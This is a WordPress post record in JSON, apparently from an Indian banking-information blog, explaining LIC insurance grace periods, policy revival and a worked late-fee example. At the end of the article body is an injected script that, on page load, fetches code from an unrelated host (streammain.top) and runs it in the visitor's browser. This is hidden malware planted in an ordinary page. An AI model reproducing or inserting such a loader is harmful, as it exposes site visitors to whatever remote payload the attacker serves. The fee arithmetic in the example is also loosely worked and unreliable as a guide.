{"id":3917,"date":"2019-04-01T07:50:15","date_gmt":"2019-04-01T07:50:15","guid":{"rendered":"https:\/\/www.askbankifsccode.com\/blog\/?p=3917"},"modified":"2025-06-25T22:25:17","modified_gmt":"2025-06-25T22:25:17","slug":"how-to-calculate-lic-premium-late-fee","status":"publish","type":"post","link":"https:\/\/www.askbankifsccode.com\/blog\/how-to-calculate-lic-premium-late-fee\/","title":{"rendered":"How to Calculate LIC Premium Late Fee?"},"content":{"rendered":"\n<p>The aim behind availing the LIC policy is to protect the insurer\u2019s family at the time of difficulty. Every financially able person will avail the LIC policy for him and his family to protect and meet the requirement of them at the time of hospitalization or sudden death. Health care is very costly and not everyone can afford it which makes the LIC Policy or any other insurance policy must. There is a lot of scheme provided by the LIC like <a aria-label=\"LIC Jeevan Anand (opens in a new tab)\" href=\"https:\/\/www.askbankifsccode.com\/blog\/lic-jeevan-anand-table-815\/\" target=\"_blank\" rel=\"noreferrer noopener\">LIC Jeevan Anand<\/a> which is by far the most famous and used <a href=\"https:\/\/www.askbankifsccode.com\/blog\/how-to-check-lic-policy-status-online-sms-ivrs\/\">LIC policy<\/a>. There are various types of insurance policy provided under different schemes and are as follows-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Term Plan \u2013 Covers Risk+ No maturity<\/li>\n\n\n\n<li>Unit-linked insurance plan (ULIP) \u2013 Insurance + Investment in market opportunity<\/li>\n\n\n\n<li>Endowment Plan \u2013 Insurance + Savings<\/li>\n\n\n\n<li>Money Back \u2013 Periodic returns with insurance cover<\/li>\n\n\n\n<li>Whole Life Insurance \u2013 Life coverage to the life assured for whole life<\/li>\n\n\n\n<li>Child\u2019s Plan \u2013 For fulfilling your child\u2019s life goals like education, marriage, etc.<\/li>\n\n\n\n<li>Retirement Plan &#8211; Plan retirement <\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"312\" src=\"https:\/\/www.askbankifsccode.com\/blog\/wp-content\/uploads\/2019\/04\/How-to-Calculate-LIC-Premium-Late-Fee.jpg\" alt=\"How to Calculate LIC Premium Late Fee\" class=\"wp-image-3918\" srcset=\"https:\/\/www.askbankifsccode.com\/blog\/wp-content\/uploads\/2019\/04\/How-to-Calculate-LIC-Premium-Late-Fee.jpg 600w, https:\/\/www.askbankifsccode.com\/blog\/wp-content\/uploads\/2019\/04\/How-to-Calculate-LIC-Premium-Late-Fee-300x156.jpg 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<p>Regardless of which type of LIC Policy you have the\ncalculation of the late fee will be the same and the late fee will be charged\nafter the grace period as mentioned in the policy document. You can check the\npolicy document for the grace period usually the grace period provided by the\nLIC is of 30 days after which the LIC late fee will be charged.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is Grace Period?<\/h2>\n\n\n\n<p>Grace Period is the set of a time limit provided by the corporation to the customer after the due date. LIC provides the Grace period of 30 Days usually for all the policy availed. Sometime, we are in short of the fund to pay the premium which is problematic as the policy can lapse. To provide the insurer with some relaxation the corporation provides the Grace Period which enables the insurer to use that period to collect the fund for the payment of the policy. During the grace period, the policy will be still in act meaning the insurer will be protected during this period.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Grace Period Duration <\/h3>\n\n\n\n<p>The duration of the Grace Period as per the LIC is as\nfollows-<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><th>\n  Payment \n  <\/th><th>\n  Grace Period\n  <\/th><\/tr><tr><td>\n  Yearly, Half-yearly, Quarterly\n  <\/td><td>\n  30 Days\n  <\/td><\/tr><tr><td>\n  Monthly\n  <\/td><td>\n  15 Days\n  <\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Policy Revival Period<\/h2>\n\n\n\n<p>After the grace period, the policy becomes lapsed and the policyholder has to revive the policy in order to enjoy the benefit of the policy. The time period considered to be the late fee calculation is as follows-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>15\ndays delay as one month <\/li>\n\n\n\n<li>30\ndays to 1 month 14 days as&nbsp;one month.<\/li>\n\n\n\n<li>1\nmonth 15 days to 2 months 14 days as&nbsp;2 months.<\/li>\n\n\n\n<li>2\nmonth 15 days to 3 months 14 days as&nbsp;3 months and so on.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">How to Calculate Late Fee?<\/h2>\n\n\n\n<p>The late fee is charged when the Policy crosses the grace period as mentioned in the policy documents. The LIC late fee charges will be on interest-based meaning an annual charge will be levied on the policyholder.  <strong>The late fee will be charged as interest on the due payment. <\/strong>The<strong> Interest <\/strong>of<strong> 9.5% per annum <\/strong>will be charged on the due amount as an LIC late fee which will be paid at the time of policy revival. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\">For Example-<\/h4>\n\n\n\n<p>An insurer fails to deposit the premium even after the grace period. The delay of 24 days was registered by the LIC. LIC Charges the late fee as 9.5% per annum on the due amount. Let&#8217;s assume the due amount is Rs.5000\/-. The late fee calculation for LIC is as follows-<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>LIC Policy Premium for 1 year (12 months) is Rs. 5,000<\/li>\n\n\n\n<li>The premium for 1 months will be (5,000\/12)*1 = 417<\/li>\n\n\n\n<li>The late premium fee will be charged: (9.5% of 417) = 40<\/li>\n\n\n\n<li>The total revival premium amount to be paid is (5,000 + 40) = 5,040<\/li>\n<\/ul>\n<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script>","protected":false},"excerpt":{"rendered":"<p>The aim behind availing the LIC policy is to protect the insurer\u2019s family at the time of difficulty. Every financially able person will avail the LIC policy for him and his family to protect and meet the requirement of them at the time of hospitalization or sudden death. Health care is very costly and not [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3918,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-3917","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-insurance"],"blocksy_meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>How to Calculate LIC Premium Late Fee? | Late Fee Calculation for LIC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.askbankifsccode.com\/blog\/how-to-calculate-lic-premium-late-fee\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Calculate LIC Premium Late Fee? | Late Fee Calculation for LIC\" \/>\n<meta property=\"og:description\" content=\"The aim behind availing the LIC policy is to protect the insurer\u2019s family at the time of difficulty. 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